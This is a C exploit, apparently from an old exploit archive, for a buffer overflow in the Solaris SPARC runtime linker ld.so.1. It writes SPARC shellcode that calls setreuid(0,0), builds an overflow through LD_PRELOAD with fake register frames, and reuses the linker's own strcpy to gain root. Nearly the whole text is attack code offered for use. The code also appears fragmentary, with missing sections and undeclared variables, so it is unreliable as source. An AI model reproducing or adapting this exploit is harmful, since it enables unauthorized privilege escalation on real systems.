/* ############################# * ## ld.so.1 exploit (SPARC) ## * ############################# * [coded by: osker178 (bjr213 psu.edu)] * * Alright, so this exploits a fairly standard buffer * overflow in the default Solaris runtime linker (ld.so.1) * (discovery by Jouko Pynnonen) * Only real deviation here from the standard overflow * and return into libc scenario is that at the time that * overflow occurs, the libc object file has not been loaded; * so it's not really possible to return into a libc function. * However, this poses no real problem to us, as ld.so.1 * provides it's own ___cpy() functions which we can use to * move our shellcode into an appropriate place in memory. * * Some things to note: * * - obviously some of the pre-defined addresses will have to be changed * * - 1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up * overwriting a char *; this is actually very helpful for locating where * the rest of our information is stored in memory, as this pointer * will be used to display another error message, showing us what string * is stored at the address we overwrote this pointer with. * * - ... eh, that's enough, just look at the code to figure the rest out */ #include <dlfcn.h> #include <stdio.h> #include <signal.h> #include <setjmp.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <link.h>
/* setreuid(0,0) - for me at least, these both had to be called */ "\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */ "\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/ "\x91\xd0\x20\x08" /* ta 8 */
/* ********************************************** * * ***************** GET_LD_ENV ***************** * * ********************************************** */ char * get_ld_env(int buf_len, long offset) { long *lp; char *buf; char *ld_pre_env; unsigned long strcpy_ret;
strcpy_ret = get_strcpy_addr(); if(!strcpy_ret) return 0; else printf("strcpy found at [0x%x]\n\n", strcpy_ret);
/* * buf_size --> main requested length (rounded up to nearest factor of 4) * +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite * +1 --> for the "/" character that must be appended in order to pass the strchr() * and strrchr() tests (see <load_one>: from objdump -d /usr/lib/ld.so.1) * +1 --> '\0' obviously */ buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1); if(!buf) { perror("malloc"); return 0; }
memset(buf, 'A', buf_len); buf[0] = '/';
/* this is the location of the (char *) in ld.so.1 we are overwriting * -> use this to find the address of the environment * arguments (whatever value we write at this address * is what will be displayed in an error message * from ld.so.1 after the error message generated from * our insecure path provided in LD_PRELOAD) */ lp = (long *)(buf + 1124); *lp++ = FRAME_ADDR + offset;
lp = (long *)(buf + buf_len);
/* %l regs - as far as we're concerned, these * values don't matter (i've never * had a problem with them) */ *lp++ = 0x61616161; /* %l0 */ *lp++ = 0x62626262; /* %l1 */ *lp++ = 0x63636363; /* %l2 */ *lp++ = 0x64646464; /* %l3 */ *lp++ = 0x65656565; /* %l4 */ *lp++ = 0x66666666; /* %l5 */ *lp++ = 0x67676767; /* %l6 */ *lp++ = 0x68686868; /* %l7 */
memset(envs_str, fill, ENV_STR_SIZE); envs_str[0] = 'b'; // \ envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables */ envs_str[2] = 'g'; // / envs_str[ENV_STR_SIZE] = '\0';